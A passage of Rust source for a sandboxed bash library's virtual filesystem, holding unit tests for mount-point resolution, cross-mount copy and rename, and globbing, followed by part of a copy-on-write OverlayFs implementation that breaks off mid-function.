.mount(\"/project/src\", src_fs);\n\n    // /project/src/main.rs should resolve to src_fs's /main.rs\n    assert_eq!(\n        mfs.read_file(Path::new(\"/project/src/main.rs\")).unwrap(),\n        b\"src main\"\n    );\n\n    // /project/lib.rs should resolve to project_fs's /lib.rs\n    assert_eq!(\n        mfs.read_file(Path::new(\"/project/lib.rs\")).unwrap(),\n        b\"project lib\"\n    );\n}\n\n// -----------------------------------------------------------------------\n// 4i.3 Cross-mount copy\n// -----------------------------------------------------------------------\n\n#[test]\nfn cross_mount_copy() {\n    let fs_a = make_memory_fs(&[(\"/file.txt\", b\"data from a\")]);\n    let fs_b: Arc<InMemoryFs> = make_memory_fs(&[]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/a\", fs_a.clone())\n        .mount(\"/b\", fs_b.clone());\n\n    mfs.copy(Path::new(\"/a/file.txt\"), Path::new(\"/b/file.txt\"))\n        .unwrap();\n\n    // Destination should have the content\n    assert_eq!(\n        mfs.read_file(Path::new(\"/b/file.txt\")).unwrap(),\n        b\"data from a\"\n    );\n    // Source should still exist\n    assert_eq!(\n        mfs.read_file(Path::new(\"/a/file.txt\")).unwrap(),\n        b\"data from a\"\n    );\n}\n\n// -----------------------------------------------------------------------\n// 4i.4 Cross-mount rename (copy + delete semantics)\n// -----------------------------------------------------------------------\n\n#[test]\nfn cross_mount_rename() {\n    let fs_a = make_memory_fs(&[(\"/file.txt\", b\"move me\")]);\n    let fs_b: Arc<InMemoryFs> = make_memory_fs(&[]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/a\", fs_a.clone())\n        .mount(\"/b\", fs_b.clone());\n\n    mfs.rename(Path::new(\"/a/file.txt\"), Path::new(\"/b/file.txt\"))\n        .unwrap();\n\n    // Destination should have the content\n    assert_eq!(mfs.read_file(Path::new(\"/b/file.txt\")).unwrap(), b\"move me\");\n    // Source should be gone\n    assert!(!mfs.exists(Path::new(\"/a/file.txt\")));\n}\n\n// -----------------------------------------------------------------------\n// 4i.5 Directory listing at boundaries: mount points appear as directories\n// -----------------------------------------------------------------------\n\n#[test]\nfn directory_listing_shows_mount_points() {\n    let root_fs = make_memory_fs(&[(\"/root_file.txt\", b\"root\")]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/project\", make_memory_fs(&[(\"/README.md\", b\"hi\")]));\n\n    let entries = mfs.readdir(Path::new(\"/\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n\n    assert!(names.contains(&\"root_file.txt\"), \"entries: {names:?}\");\n    assert!(names.contains(&\"project\"), \"entries: {names:?}\");\n\n    // The mount point entry should be a directory\n    let project_entry = entries.iter().find(|e| e.name == \"project\").unwrap();\n    assert_eq!(project_entry.node_type, NodeType::Directory);\n}\n\n#[test]\nfn directory_listing_deduplicates_mount_with_real_dir() {\n    // Root fs already has a \"project\" directory\n    let root_fs = InMemoryFs::new();\n    root_fs.mkdir_p(Path::new(\"/project\")).unwrap();\n    root_fs\n        .write_file(Path::new(\"/other.txt\"), b\"other\")\n        .unwrap();\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", Arc::new(root_fs))\n        .mount(\"/project\", make_memory_fs(&[]));\n\n    let entries = mfs.readdir(Path::new(\"/\")).unwrap();\n    let project_count = entries.iter().filter(|e| e.name == \"project\").count();\n    assert_eq!(project_count, 1, \"mount point should not be duplicated\");\n}\n\n// -----------------------------------------------------------------------\n// 4i.6 Mount at root: single mount at \"/\" works as full delegation\n// -----------------------------------------------------------------------\n\n#[test]\nfn single_root_mount() {\n    let root_fs = make_memory_fs(&[(\"/a.txt\", b\"aaa\")]);\n    let mfs = MountableFs::new().mount(\"/\", root_fs);\n\n    assert_eq!(mfs.read_file(Path::new(\"/a.txt\")).unwrap(), b\"aaa\");\n    mfs.write_file(Path::new(\"/b.txt\"), b\"bbb\").unwrap();\n    assert_eq!(mfs.read_file(Path::new(\"/b.txt\")).unwrap(), b\"bbb\");\n    assert!(mfs.exists(Path::new(\"/\")));\n}\n\n// -----------------------------------------------------------------------\n// 4i.7 Multiple mounts: complex setup with 3+ backends\n// -----------------------------------------------------------------------\n\n#[test]\nfn multiple_mounts_complex_setup() {\n    let root_fs = make_memory_fs(&[(\"/etc/hostname\", b\"myhost\")]);\n    let project_fs = make_memory_fs(&[(\"/Cargo.toml\", b\"[package]\")]);\n    let tmp_fs = make_memory_fs(&[]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/project\", project_fs)\n        .mount(\"/tmp\", tmp_fs);\n\n    // Read from root\n    assert_eq!(\n        mfs.read_file(Path::new(\"/etc/hostname\")).unwrap(),\n        b\"myhost\"\n    );\n    // Read from project\n    assert_eq!(\n        mfs.read_file(Path::new(\"/project/Cargo.toml\")).unwrap(),\n        b\"[package]\"\n    );\n    // Write to tmp\n    mfs.write_file(Path::new(\"/tmp/scratch.txt\"), b\"temp data\")\n        .unwrap();\n    assert_eq!(\n        mfs.read_file(Path::new(\"/tmp/scratch.txt\")).unwrap(),\n        b\"temp data\"\n    );\n\n    // Verify listings show mount points\n    let root_entries = mfs.readdir(Path::new(\"/\")).unwrap();\n    let names: Vec<&str> = root_entries.iter().map(|e| e.name.as_str()).collect();\n    assert!(names.contains(&\"etc\"));\n    assert!(names.contains(&\"project\"));\n    assert!(names.contains(&\"tmp\"));\n}\n\n// -----------------------------------------------------------------------\n// 4i.8 deep_clone isolation\n// -----------------------------------------------------------------------\n\n#[test]\nfn deep_clone_isolation() {\n    let root_fs = make_memory_fs(&[(\"/file.txt\", b\"original\")]);\n    let mfs = MountableFs::new().mount(\"/\", root_fs);\n\n    let cloned = mfs.deep_clone();\n\n    // Mutate the clone\n    cloned\n        .write_file(Path::new(\"/file.txt\"), b\"modified\")\n        .unwrap();\n    cloned\n        .write_file(Path::new(\"/new.txt\"), b\"only in clone\")\n        .unwrap();\n\n    // Original is unchanged\n    assert_eq!(mfs.read_file(Path::new(\"/file.txt\")).unwrap(), b\"original\");\n    assert!(!mfs.exists(Path::new(\"/new.txt\")));\n\n    // Clone has changes\n    assert_eq!(\n        cloned.read_file(Path::new(\"/file.txt\")).unwrap(),\n        b\"modified\"\n    );\n    assert_eq!(\n        cloned.read_file(Path::new(\"/new.txt\")).unwrap(),\n        b\"only in clone\"\n    );\n}\n\n// -----------------------------------------------------------------------\n// 4i.9 deep_clone with ReadWriteFs mount\n// -----------------------------------------------------------------------\n\n#[cfg(feature = \"native-fs\")]\n#[test]\nfn deep_clone_with_readwrite_fs_mount() {\n    use crate::vfs::ReadWriteFs;\n    use tempfile::TempDir;\n\n    let tmp = TempDir::new().unwrap();\n    std::fs::write(tmp.path().join(\"real.txt\"), b\"real data\").unwrap();\n\n    let rw_fs = Arc::new(ReadWriteFs::with_root(tmp.path()).unwrap());\n    let mem_fs = make_memory_fs(&[(\"/mem.txt\", b\"memory data\")]);\n\n    let mfs = MountableFs::new().mount(\"/\", mem_fs).mount(\"/real\", rw_fs);\n\n    let cloned = mfs.deep_clone();\n\n    // ReadWriteFs deep_clone is a passthrough — both see the same real FS\n    assert_eq!(\n        cloned.read_file(Path::new(\"/real/real.txt\")).unwrap(),\n        b\"real data\"\n    );\n\n    // InMemoryFs clone is isolated\n    cloned\n        .write_file(Path::new(\"/mem.txt\"), b\"changed in clone\")\n        .unwrap();\n    assert_eq!(\n        mfs.read_file(Path::new(\"/mem.txt\")).unwrap(),\n        b\"memory data\"\n    );\n}\n\n// -----------------------------------------------------------------------\n// 4i.10 Glob across mounts\n// -----------------------------------------------------------------------\n\n#[test]\nfn glob_across_mounts() {\n    let root_fs = make_memory_fs(&[(\"/root.txt\", b\"r\")]);\n    let project_fs = make_memory_fs(&[(\"/src/main.rs\", b\"fn main() {}\")]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/project\", project_fs);\n\n    // Glob at root level should find entries from root and mount points\n    let matches = mfs.glob(\"/*\", Path::new(\"/\")).unwrap();\n    let strs: Vec<String> = matches\n        .iter()\n        .map(|p| p.to_string_lossy().into_owned())\n        .collect();\n    assert!(strs.contains(&\"/root.txt\".to_string()), \"got: {strs:?}\");\n    assert!(\n        strs.contains(&\"/project\".to_string()),\n        \"mount point should appear in glob: {strs:?}\"\n    );\n\n    // Glob inside a mount\n    let matches = mfs.glob(\"/project/src/*.rs\", Path::new(\"/\")).unwrap();\n    assert_eq!(matches, vec![PathBuf::from(\"/project/src/main.rs\")]);\n}\n\n#[test]\nfn glob_relative_pattern() {\n    let root_fs = make_memory_fs(&[(\"/home/user/a.txt\", b\"a\"), (\"/home/user/b.txt\", b\"b\")]);\n    let mfs = MountableFs::new().mount(\"/\", root_fs);\n\n    let matches = mfs.glob(\"*.txt\", Path::new(\"/home/user\")).unwrap();\n    let names: Vec<String> = matches\n        .iter()\n        .map(|p| p.to_string_lossy().into_owned())\n        .collect();\n    assert!(names.contains(&\"a.txt\".to_string()), \"got: {names:?}\");\n    assert!(names.contains(&\"b.txt\".to_string()), \"got: {names:?}\");\n}\n\n// -----------------------------------------------------------------------\n// 4i.11 No mount found → NotFound\n// -----------------------------------------------------------------------\n\n#[test]\nfn no_mount_returns_not_found() {\n    // MountableFs with no root mount — only /project is mounted\n    let project_fs = make_memory_fs(&[(\"/file.txt\", b\"data\")]);\n    let mfs = MountableFs::new().mount(\"/project\", project_fs);\n\n    let result = mfs.read_file(Path::new(\"/etc/config\"));\n    assert!(result.is_err());\n    assert!(matches!(\n        result.unwrap_err(),\n        crate::error::VfsError::NotFound(_)\n    ));\n}\n\n// -----------------------------------------------------------------------\n// 4i.12 exists() at mount point itself\n// -----------------------------------------------------------------------\n\n#[test]\nfn exists_at_mount_point() {\n    let root_fs = make_memory_fs(&[]);\n    let project_fs = make_memory_fs(&[(\"/file.txt\", b\"data\")]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/project\", project_fs);\n\n    // Mount points should be treated as existing directories\n    assert!(mfs.exists(Path::new(\"/project\")));\n    assert!(mfs.exists(Path::new(\"/\")));\n}\n\n#[test]\nfn stat_at_mount_point() {\n    let root_fs = make_memory_fs(&[]);\n    let project_fs = make_memory_fs(&[]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/project\", project_fs);\n\n    let meta = mfs.stat(Path::new(\"/project\")).unwrap();\n    assert_eq!(meta.node_type, NodeType::Directory);\n}\n\n#[test]\nfn exists_at_mount_ancestor() {\n    // No root mount, but /a/b/c is mounted — /a and /a/b should exist as\n    // synthetic ancestors.\n    let fs = make_memory_fs(&[]);\n    let mfs = MountableFs::new().mount(\"/a/b/c\", fs);\n\n    assert!(mfs.exists(Path::new(\"/a\")));\n    assert!(mfs.exists(Path::new(\"/a/b\")));\n    assert!(mfs.exists(Path::new(\"/a/b/c\")));\n    assert!(!mfs.exists(Path::new(\"/other\")));\n}\n\n// -----------------------------------------------------------------------\n// 4i.13 Full integration: create shell with MountableFs via builder\n// -----------------------------------------------------------------------\n\n#[test]\nfn integration_shell_with_mountable_fs() {\n    use crate::api::RustBashBuilder;\n\n    let project_fs = make_memory_fs(&[(\"/hello.txt\", b\"Hello from project!\")]);\n    let root_fs = Arc::new(InMemoryFs::new());\n\n    let mountable = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/project\", project_fs);\n\n    let mut shell = RustBashBuilder::new()\n        .fs(Arc::new(mountable))\n        .cwd(\"/\")\n        .build()\n        .unwrap();\n\n    let result = shell.exec(\"cat /project/hello.txt\").unwrap();\n    assert_eq!(result.stdout.trim(), \"Hello from project!\");\n\n    let result = shell\n        .exec(\"echo test > /tmp_file.txt && cat /tmp_file.txt\")\n        .unwrap();\n    assert_eq!(result.stdout, \"test\\n\");\n}\n\n// -----------------------------------------------------------------------\n// Additional edge-case tests\n// -----------------------------------------------------------------------\n\n#[test]\nfn hardlink_across_mounts_returns_error() {\n    let fs_a = make_memory_fs(&[(\"/file.txt\", b\"data\")]);\n    let fs_b = make_memory_fs(&[]);\n\n    let mfs = MountableFs::new().mount(\"/a\", fs_a).mount(\"/b\", fs_b);\n\n    let result = mfs.hardlink(Path::new(\"/a/file.txt\"), Path::new(\"/b/link.txt\"));\n    assert!(result.is_err());\n}\n\n#[test]\nfn hardlink_within_same_mount_works() {\n    let fs = make_memory_fs(&[(\"/file.txt\", b\"data\")]);\n    let mfs = MountableFs::new().mount(\"/\", fs);\n\n    mfs.hardlink(Path::new(\"/file.txt\"), Path::new(\"/link.txt\"))\n        .unwrap();\n    assert_eq!(mfs.read_file(Path::new(\"/link.txt\")).unwrap(), b\"data\");\n}\n\n#[test]\nfn same_mount_copy_delegates_directly() {\n    let fs = make_memory_fs(&[(\"/a.txt\", b\"hello\")]);\n    let mfs = MountableFs::new().mount(\"/\", fs);\n\n    mfs.copy(Path::new(\"/a.txt\"), Path::new(\"/b.txt\")).unwrap();\n    assert_eq!(mfs.read_file(Path::new(\"/b.txt\")).unwrap(), b\"hello\");\n    assert_eq!(mfs.read_file(Path::new(\"/a.txt\")).unwrap(), b\"hello\");\n}\n\n#[test]\nfn same_mount_rename_delegates_directly() {\n    let fs = make_memory_fs(&[(\"/a.txt\", b\"hello\")]);\n    let mfs = MountableFs::new().mount(\"/\", fs);\n\n    mfs.rename(Path::new(\"/a.txt\"), Path::new(\"/b.txt\"))\n        .unwrap();\n    assert_eq!(mfs.read_file(Path::new(\"/b.txt\")).unwrap(), b\"hello\");\n    assert!(!mfs.exists(Path::new(\"/a.txt\")));\n}\n\n#[test]\nfn mkdir_and_write_through_mount() {\n    let fs = make_memory_fs(&[]);\n    let mfs = MountableFs::new().mount(\"/\", fs);\n\n    mfs.mkdir_p(Path::new(\"/a/b/c\")).unwrap();\n    mfs.write_file(Path::new(\"/a/b/c/file.txt\"), b\"nested\")\n        .unwrap();\n    assert_eq!(\n        mfs.read_file(Path::new(\"/a/b/c/file.txt\")).unwrap(),\n        b\"nested\"\n    );\n}\n\n#[test]\nfn append_file_through_mount() {\n    let fs = make_memory_fs(&[(\"/file.txt\", b\"hello\")]);\n    let mfs = MountableFs::new().mount(\"/\", fs);\n\n    mfs.append_file(Path::new(\"/file.txt\"), b\" world\").unwrap();\n    assert_eq!(\n        mfs.read_file(Path::new(\"/file.txt\")).unwrap(),\n        b\"hello world\"\n    );\n}\n\n#[test]\nfn remove_file_and_dir_through_mount() {\n    let fs = make_memory_fs(&[(\"/dir/file.txt\", b\"data\")]);\n    let mfs = MountableFs::new().mount(\"/\", fs);\n\n    mfs.remove_file(Path::new(\"/dir/file.txt\")).unwrap();\n    assert!(!mfs.exists(Path::new(\"/dir/file.txt\")));\n\n    mfs.remove_dir(Path::new(\"/dir\")).unwrap();\n    assert!(!mfs.exists(Path::new(\"/dir\")));\n}\n\n#[test]\nfn canonicalize_through_mount() {\n    let fs = make_memory_fs(&[(\"/dir/file.txt\", b\"data\")]);\n    let mfs = MountableFs::new().mount(\"/data\", fs);\n\n    let canonical = mfs.canonicalize(Path::new(\"/data/dir/file.txt\")).unwrap();\n    assert_eq!(canonical, PathBuf::from(\"/data/dir/file.txt\"));\n}\n\n#[test]\nfn canonicalize_at_root_mount() {\n    let fs = make_memory_fs(&[(\"/file.txt\", b\"data\")]);\n    let mfs = MountableFs::new().mount(\"/\", fs);\n\n    let canonical = mfs.canonicalize(Path::new(\"/file.txt\")).unwrap();\n    assert_eq!(canonical, PathBuf::from(\"/file.txt\"));\n}\n\n#[test]\nfn readdir_on_unmounted_path_with_child_mounts() {\n    // No root mount, but /project is mounted. Listing \"/\" should show \"project\".\n    let project_fs = make_memory_fs(&[(\"/file.txt\", b\"data\")]);\n    let mfs = MountableFs::new().mount(\"/project\", project_fs);\n\n    let entries = mfs.readdir(Path::new(\"/\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert!(names.contains(&\"project\"), \"entries: {names:?}\");\n}\n\n#[test]\nfn nested_mount_points_in_listing() {\n    let root_fs = make_memory_fs(&[]);\n    let project_fs = make_memory_fs(&[]);\n    let src_fs = make_memory_fs(&[]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/project\", project_fs)\n        .mount(\"/project/src\", src_fs);\n\n    // Listing /project should show \"src\" as a child mount\n    let entries = mfs.readdir(Path::new(\"/project\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert!(names.contains(&\"src\"), \"entries: {names:?}\");\n}\n\n#[test]\nfn readdir_at_synthetic_ancestor() {\n    let deep_fs = make_memory_fs(&[(\"/file.txt\", b\"deep\")]);\n    let root_fs = make_memory_fs(&[]);\n    let mfs = MountableFs::new()\n        .mount(\"/\", root_fs)\n        .mount(\"/a/b/c\", deep_fs);\n\n    // /a should be listable and show \"b\"\n    assert!(mfs.exists(Path::new(\"/a\")));\n    let entries = mfs.readdir(Path::new(\"/a\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert!(names.contains(&\"b\"), \"entries: {names:?}\");\n\n    // /a/b should show \"c\"\n    let entries = mfs.readdir(Path::new(\"/a/b\")).unwrap();\n    let names: Vec<&str> = entries.iter().map(|e| e.name.as_str()).collect();\n    assert!(names.contains(&\"c\"), \"entries: {names:?}\");\n}\n\n// -----------------------------------------------------------------------\n// FIX 2: readdir on empty directory returns Ok(vec![]), not NotFound\n// -----------------------------------------------------------------------\n\n#[test]\nfn readdir_empty_directory_returns_ok() {\n    let root_fs = Arc::new(InMemoryFs::new());\n    root_fs.mkdir(Path::new(\"/empty\")).unwrap();\n    let mfs = MountableFs::new().mount(\"/\", root_fs);\n\n    let entries = mfs.readdir(Path::new(\"/empty\")).unwrap();\n    assert!(entries.is_empty());\n}\n\n#[test]\nfn readdir_nonexistent_path_returns_not_found() {\n    let root_fs = Arc::new(InMemoryFs::new());\n    let mfs = MountableFs::new().mount(\"/\", root_fs);\n\n    let result = mfs.readdir(Path::new(\"/nonexistent\"));\n    assert!(result.is_err());\n    assert!(matches!(\n        result.unwrap_err(),\n        crate::error::VfsError::NotFound(_)\n    ));\n}\n\n// -----------------------------------------------------------------------\n// FIX 3: Cross-mount rename of directory returns clear error\n// -----------------------------------------------------------------------\n\n#[test]\nfn cross_mount_rename_directory_returns_error() {\n    let fs_a = make_memory_fs(&[(\"/dir/file.txt\", b\"data\")]);\n    let fs_b = make_memory_fs(&[]);\n\n    let mfs = MountableFs::new().mount(\"/a\", fs_a).mount(\"/b\", fs_b);\n\n    let result = mfs.rename(Path::new(\"/a/dir\"), Path::new(\"/b/dir\"));\n    assert!(result.is_err());\n    let err = result.unwrap_err();\n    match &err {\n        crate::error::VfsError::IoError(msg) => {\n            assert!(\n                msg.contains(\"directories across mount boundaries\"),\n                \"unexpected error message: {msg}\"\n            );\n        }\n        other => panic!(\"expected IoError, got {other:?}\"),\n    }\n}\n\n// -----------------------------------------------------------------------\n// FIX 4: Symlink with absolute target at non-root mount\n// -----------------------------------------------------------------------\n\n#[test]\nfn symlink_absolute_target_at_non_root_mount() {\n    let project_fs = make_memory_fs(&[(\"/real.txt\", b\"real content\")]);\n\n    let mfs = MountableFs::new()\n        .mount(\"/\", Arc::new(InMemoryFs::new()))\n        .mount(\"/project\", project_fs);\n\n    // Create a symlink with an absolute target (in global namespace)\n    mfs.symlink(Path::new(\"/project/real.txt\"), Path::new(\"/project/link\"))\n        .unwrap();\n\n    // Reading through the symlink should work\n    let content = mfs.read_file(Path::new(\"/project/link\")).unwrap();\n    assert_eq!(content, b\"real content\");\n\n    // readlink should return the global path\n    let target = mfs.readlink(Path::new(\"/project/link\")).unwrap();\n    assert_eq!(target, PathBuf::from(\"/project/real.txt\"));\n}\n","/home/user/src/vfs/overlay.rs":"//! OverlayFs — copy-on-write filesystem backed by a real directory (lower)\n//! and an in-memory write layer (upper).\n//!\n//! Reads resolve through: whiteouts → upper → lower.\n//! Writes always go to the upper layer. The lower directory is never modified.\n//! Deletions insert a \"whiteout\" entry so the file appears removed even though\n//! it still exists on disk.\n\nuse std::collections::HashSet;\nuse std::os::unix::fs::PermissionsExt;\nuse std::path::{Component, Path, PathBuf};\nuse std::sync::Arc;\n\nuse crate::platform::SystemTime;\n\nuse parking_lot::RwLock;\n\nuse super::{DirEntry, InMemoryFs, Metadata, NodeType, VirtualFs};\nuse crate::error::VfsError;\nuse crate::interpreter::pattern::glob_match;\n\nconst MAX_SYMLINK_DEPTH: u32 = 40;\n\n/// A copy-on-write filesystem: reads from a real directory, writes to memory.\n///\n/// The lower layer (a real directory on disk) is treated as read-only.\n/// All mutations go to the upper `InMemoryFs` layer. Deletions are tracked\n/// via a whiteout set so deleted lower-layer entries appear as removed.\n///\n/// # Example\n///\n/// ```ignore\n/// use rust_bash::{RustBashBuilder, OverlayFs};\n/// use std::sync::Arc;\n///\n/// let overlay = OverlayFs::new(\"./my_project\").unwrap();\n/// let mut shell = RustBashBuilder::new()\n///     .fs(Arc::new(overlay))\n///     .cwd(\"/\")\n///     .build()\n///     .unwrap();\n///\n/// let result = shell.exec(\"cat /src/main.rs\").unwrap(); // reads from disk\n/// shell.exec(\"echo new > /src/main.rs\").unwrap();       // writes to memory only\n/// ```\npub struct OverlayFs {\n    lower: PathBuf,\n    upper: InMemoryFs,\n    whiteouts: Arc<RwLock<HashSet<PathBuf>>>,\n}\n\n/// Where a path resolved to during layer lookup.\nenum LayerResult {\n    Whiteout,\n    Upper,\n    Lower,\n    NotFound,\n}\n\nimpl OverlayFs {\n    /// Create an overlay filesystem with `lower` as the read-only base.\n    ///\n    /// The lower directory must exist and be a directory. It is canonicalized\n    /// on construction so symlinks in the lower path itself are resolved once.\n    pub fn new(lower: impl Into<PathBuf>) -> std::io::Result<Self> {\n        let lower = lower.into();\n        if !lower.is_dir() {\n            return Err(std::io::Error::new(\n                std::io::ErrorKind::NotADirectory,\n                format!(\"{} is not a directory\", lower.display()),\n            ));\n        }\n        let lower = lower.canonicalize()?;\n        Ok(Self {\n            lower,\n            upper: InMemoryFs::new(),\n            whiteouts: Arc::new(RwLock::new(HashSet::new())),\n        })\n    }\n\n    // ------------------------------------------------------------------\n    // Whiteout helpers\n    // ------------------------------------------------------------------\n\n    /// Check if `path` or any ancestor is whiteout-ed.\n    fn is_whiteout(&self, path: &Path) -> bool {\n        let whiteouts = self.whiteouts.read();\n        let mut current = path.to_path_buf();\n        loop {\n            if whiteouts.contains(&current) {\n                return true;\n            }\n            if !current.pop() {\n                return false;\n            }\n        }\n    }\n\n    /// Insert a whiteout for `path`.\n    fn add_whiteout(&self, path: &Path) {\n        self.whiteouts.write().insert(path.to_path_buf());\n    }\n\n    /// Remove a whiteout for exactly `path` (not ancestors).\n    fn remove_whiteout(&self, path: &Path) {\n        self.whiteouts.write().remove(path);\n    }\n\n    // ------------------------------------------------------------------\n    // Layer entry checks (no symlink following)\n    // ------------------------------------------------------------------\n\n    /// Check if a node exists in the upper layer at `path` without\n    /// following symlinks. This is critical because `InMemoryFs::exists`\n    /// follows symlinks — a symlink whose target is only in lower would\n    /// return false.\n    fn upper_has_entry(&self, path: &Path) -> bool {\n        self.upper.lstat(path).is_ok()\n    }\n\n    // ------------------------------------------------------------------\n    // Layer resolution\n    // ------------------------------------------------------------------\n\n    /// Determine which layer `path` lives in (after normalization).\n    fn resolve_layer(&self, path: &Path) -> LayerResult {\n        if self.is_whiteout(path) {\n            return LayerResult::Whiteout;\n        }\n        if self.upper_has_entry(path) {\n            return LayerResult::Upper;\n        }\n        if self.lower_exists(path) {\n            return LayerResult::Lower;\n        }\n        LayerResult::NotFound\n    }\n\n    // ------------------------------------------------------------------\n    // Lower-layer reading helpers (3j)\n    // ------------------------------------------------------------------\n\n    /// Map a VFS absolute path to the corresponding real path under `lower`.\n    fn lower_path(&self, vfs_path: &Path) -> PathBuf {\n        let rel = vfs_path.strip_prefix(\"/\").unwrap_or(vfs_path.as_ref());\n        self.lower.join(rel)\n    }\n\n    /// Read a file from the lower layer.\n    fn read_lower_file(&self, path: &Path) -> Result<Vec<u8>, VfsError> {\n        let real = self.lower_path(path);\n        std::fs::read(&real).map_err(|e| map_io_error(e, path))\n    }\n\n    /// Get metadata for a path in the lower layer (follows symlinks).\n    fn stat_lower(&self, path: &Path) -> Result<Metadata, VfsError> {\n        let real = self.lower_path(path);\n        let meta = std::fs::metadata(&real).map_err(|e| map_io_error(e, path))?;\n        Ok(map_std_metadata(&meta))\n    }\n\n    /// Get metadata for a path in the lower layer (does NOT follow symlinks).\n    fn lstat_lower(&self, path: &Path) -> Result<Metadata, VfsError> {\n        let real = self.lower_path(path);\n        let meta = std::fs::symlink_metadata(&real).map_err(|e| map_io_error(e, path))?;\n        Ok(map_std_metadata(&meta))\n    }\n\n    /// List entries in a lower-layer directory.\n    fn readdir_lower(&self, path: &Path) -> Result<Vec<DirEntry>, VfsError> {\n        let real = self.lower_path(path);\n        let entries = std::fs::read_dir(&real).map_err(|e| map_io_error(e, path))?;\n        let mut result = Vec::new();\n        for entry in entries {\n            let entry = entry.map_err(|e| map_io_error(e, path))?;\n            let ft = entry.file_type().map_err(|e| map_io_error(e, path))?;\n            let node_type = if ft.is_dir() {\n                NodeType::Directory\n            } else if ft.is_symlink() {\n                NodeType::Symlink\n            } else {\n                NodeType::File\n            };\n            result.push(DirEntry {\n                name: entry.file_name().to_string_lossy().into_owned(),\n                node_type,\n            });\n        }\n        Ok(result)\n    }\n\n    /// Read a symlink target from the lower layer.\n    fn readlink_lower(&self, path: &Path) -> Result<PathBuf, VfsError> {\n        let real = self.lower_path(path);\n        std::fs::read_link(&real).map_err(|e| map_io_error(e, path))\n    }\n\n    /// Check whether a path exists in the lower layer (symlink_metadata).\n    fn lower_exists(&self, path: &Path) -> bool {\n        let real = self.lower_path(path);\n        real.symlink_metadata().is_ok()\n    }\n\n    // ------------------------------------------------------------------\n    // Copy-up helpers (3c)\n    // ------------------------------------------------------------------\n\n    /// Ensure a file is present in the upper layer. If it only exists in the\n    /// lower layer, copy its content and metadata up.\n    fn copy_up_if_needed(&self, path: &Path) -> Result<(), VfsError> {\n        if self.upper_has_entry(path) {\n            return Ok(());\n        }\n        debug_assert!(\n            !self.is_whiteout(path),\n            \"copy_up_if_needed called on whiteout-ed path\"\n        );\n        // Ensure the parent directory exists in upper\n        if let Some(parent) = path.parent()\n            && parent != Path::new(\"/\")\n        {\n            self.ensure_upper_dir_path(parent)?;\n        }\n        let content = self.read_lower_file(path)?;\n        let meta = self.stat_lower(path)?;\n        self.upper.write_file(path, &content)?;\n        self.upper.chmod(path, meta.mode)?;\n        self.upper.utimes(path, meta.mtime)?;\n        Ok(())\n    }\n\n    /// Ensure all components of `path` exist as directories in the upper layer,\n    /// creating them if they only exist in the lower layer. Also clears any\n    /// whiteouts on each component so previously-deleted paths become visible\n    /// again.\n    fn ensure_upper_dir_path(&self, path: &Path) -> Result<(), VfsError> {\n        let norm = normalize(path)?;\n        let parts = path_components(&norm);\n        let mut built = PathBuf::from(\"/\");\n        for name in parts {\n            built.push(name);\n            self.remove_whiteout(&built);\n            if self.upper_has_entry(&built) {\n                continue;\n            }\n            // Try to pick up metadata from lower; fallback to defaults\n            let mode = if let Ok(m) = self.stat_lower(&built) {\n                m.mode\n            } else {\n                0o755\n            };\n            self.upper.mkdir_p(&built)?;\n            self.upper.chmod(&built, mode)?;\n        }\n        Ok(())\n    }\n\n    // ------------------------------------------------------------------\n    // Recursive whiteout for remove_dir_all (3d)\n    // ------------------------------------------------------------------\n\n    /// Collect all visible paths under `dir` from both layers, then whiteout them.\n    fn whiteout_recursive(&self, dir: &Path) -> Result<(), VfsError> {\n        // Gather all visible children (merged from upper + lower, minus whiteouts)\n        let entries = self.readdir_merged(dir)?;\n        for entry in &entries {\n            let child = dir.join(&entry.name);\n            if entry.node_type == NodeType::Directory {\n                self.whiteout_recursive(&child)?;\n            }\n            self.add_whiteout(&child);\n        }\n        Ok(())\n    }\n\n    // ------------------------------------------------------------------\n    // Merged readdir helper (3e)\n    // ------------------------------------------------------------------\n\n    /// Merge directory listings from upper and lower, excluding whiteouts.\n    fn readdir_merged(&self, path: &Path) -> Result<Vec<DirEntry>, VfsError> {\n        let mut entries: std::collections::BTreeMap<String, DirEntry> =\n            std::collections::BTreeMap::new();\n\n        // Lower entries first\n        if self.lower_exists(path)\n            && let Ok(lower_entries) = self.readdir_lower(path)\n        {\n            for e in lower_entries {\n                let child_path = path.join(&e.name);\n                if !self.is_whiteout(&child_path) {\n                    entries.insert(e.name.clone(), e);\n                }\n            }\n        }\n\n        // Upper entries override lower entries (dedup by name)\n        if self.upper_has_entry(path)\n            && let Ok(upper_entries) = self.upper.readdir(path)\n        {\n            for e in upper_entries {\n                entries.insert(e.name.clone(), e);\n            }\n        }\n\n        Ok(entries.into_values().collect())\n    }\n\n    // ------------------------------------------------------------------\n    // Canonicalize helper (3g)\n    // ------------------------------------------------------------------\n\n    /// Step-by-step path resolution through both layers with symlink following.\n    fn resolve_path(&self, path: &Path, follow_final: bool) -> Result<PathBuf, VfsError> {\n        self.resolve_path_depth(path, follow_final, MAX_SYMLINK_DEPTH)\n    }\n\n    fn resolve_path_depth(\n        &self,\n        path: &Path,\n        follow_final: bool,\n        depth: u32,\n    ) -> Result<PathBuf, VfsError> {\n        if depth == 0 {\n            return Err(VfsError::SymlinkLoop(path.to_path_buf()));\n        }\n\n        let norm = normalize(path)?;\n        let parts = path_components(&norm);\n        let mut resolved = PathBuf::from(\"/\");\n\n        for (i, name) in parts.iter().enumerate() {\n            let is_last = i == parts.len() - 1;\n            let candidate = resolved.join(name);\n\n            if self.is_whiteout(&candidate) {\n                return 